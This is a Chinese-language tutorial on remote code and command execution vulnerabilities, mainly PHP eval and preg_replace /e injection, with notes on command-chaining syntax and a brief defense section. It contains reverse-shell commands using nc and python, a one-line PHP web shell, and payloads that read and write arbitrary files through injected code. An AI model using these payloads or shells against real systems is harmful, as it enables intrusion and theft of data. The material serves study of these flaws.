'远程代码执行'

1. 代码执行和命令执行

危害非常大,有些漏洞可以直接GetShell
执行命令(代码和系统命令)
反弹shell
获取系统敏感信息

2.命令执行

2.1 原因

1.参数可控
2.使用了可执行系统命令的函数,system()/exec()/shell_exec(),将用户提交的参数拿来执行,中间传递过程无过滤或过滤不严谨
注意:执行的命令是系统命令,Windows或者Linux命令

2.2 分类

1.代码层
2.第三方组件
WordPress中用来处理图片的ImageMagick组件
心脏滴血漏洞
Java中的命令注入漏洞(struts2/ElasticsearchGroovy等)
vBulletin 5.x版本通杀远程代码执行
3.系统层
MS08-067
bash破壳漏洞

2.3 命令执行常用函数

``
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec
注意:通过站点中命令执行漏洞执行命令的权限是:依托于站点(www_data/iis_user/USERS)

2.4 反弹shell

1
2
3
nc -vlp port -e /bin/bash
nc ip:port
python -c 'import pty;pty.spawn("/bin/bash")'

2.5 Windows下同时执行多条命令语法格式

命令格式 含义
command1 & command2 先后执行 Command1和 command2,无论command1执行是否成功
Command1 && command2 先后执行 Command1和 command2,只有command1执行成功时才执行command2
Command1 \ \ Command2 先后执行 Command1和 command2,只有command1执行失败时才执行command2
Command1\ Command2 是管道符,将command1的执行结果 传递给 command2

2.6 Linux 下同时执行多条命令语法格式

命令格式 含义
command1 ; command2 先后执行 Command1和 command2,无论command1执行是否成功
command1 & command2 先后执行 Command1和 command2,无论command1执行是否成功
Command1 && Command2 先后执行 Command1和 command2,只有command1执行成功时才执行command2
Command1 \ \ Command2 先后执行 Command1和 command2,只有command1执行失败时才执行command2
Command1\ Command2 是管道符,将command1的执行结果 传递给 command2

3.代码执行

当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能够控制这个字符串,将造成代码注入漏洞。

在php中:eval,assert,preg_replace(‘/*/e’,‘\$ret=“\1”;’,\$data)
在Java中:eval,execute,executeglobal
在Jsp中:jsp中没有php中的eval函数,到那时可以利用反射机制,使用基于反射机制的表达式引擎,如0GNL,SpELl,MVEL等

花括号内可执行可变变量

1
{${phpinfo()}}

两个示例

1
2
3
4
5
6
7
<?php
$data = $_GET['data'];
eval("\$ret = strtolower(\"$data\");");
echo $ret;
?>
//payload:?data={${phpinfo()}}
//payload:?data=");phpinfo();//
1
2
3
4
5
6
7
<?php
$data = $_GET['data'];
// echo $data;
preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1"',$data);
//echo $ret;
?>
//payload:?data=<data>{${phpinfo()}}</data>

preg一句话

1
preg_replace('/abc/e',$_POST["cmd"],'abcdef')

3.1代码执行漏洞利用

3.1.1 一句话

1
?data={${eval($_POST["windy"])}}

3.1.2 获取当前路径

1
2
3
?data={${eval($_POST["windy"])}}
windy=system('pwd')
?data={${print(getcwd())}}

3.1.3 读文件

1
?data={${exit(var_dump(file_get_contents($_POST['f'])))}}

3.1.4 写文件

1
?data={${exit(var_dump(file_put_contents($_POST['f'],$_POST['d'])))}}

4. 代码执行漏洞防御

1.使用json保存数组,读取数据时不使用eval
2.必须使用eval的地方要严格过滤(推荐使用白名单)
3.对特殊字符进行转义(addslashes、魔术引号、htmlspecialchars、htmlentities、mysql_real_escape_string等)
4.放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
5.若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象

5.参考

[1] 深入研究preg_replace与代码执行

[2] 慎用preg_replace危险的/e修饰符(一句话后门常用)

[3] php伪协议实现命令执行的七种姿势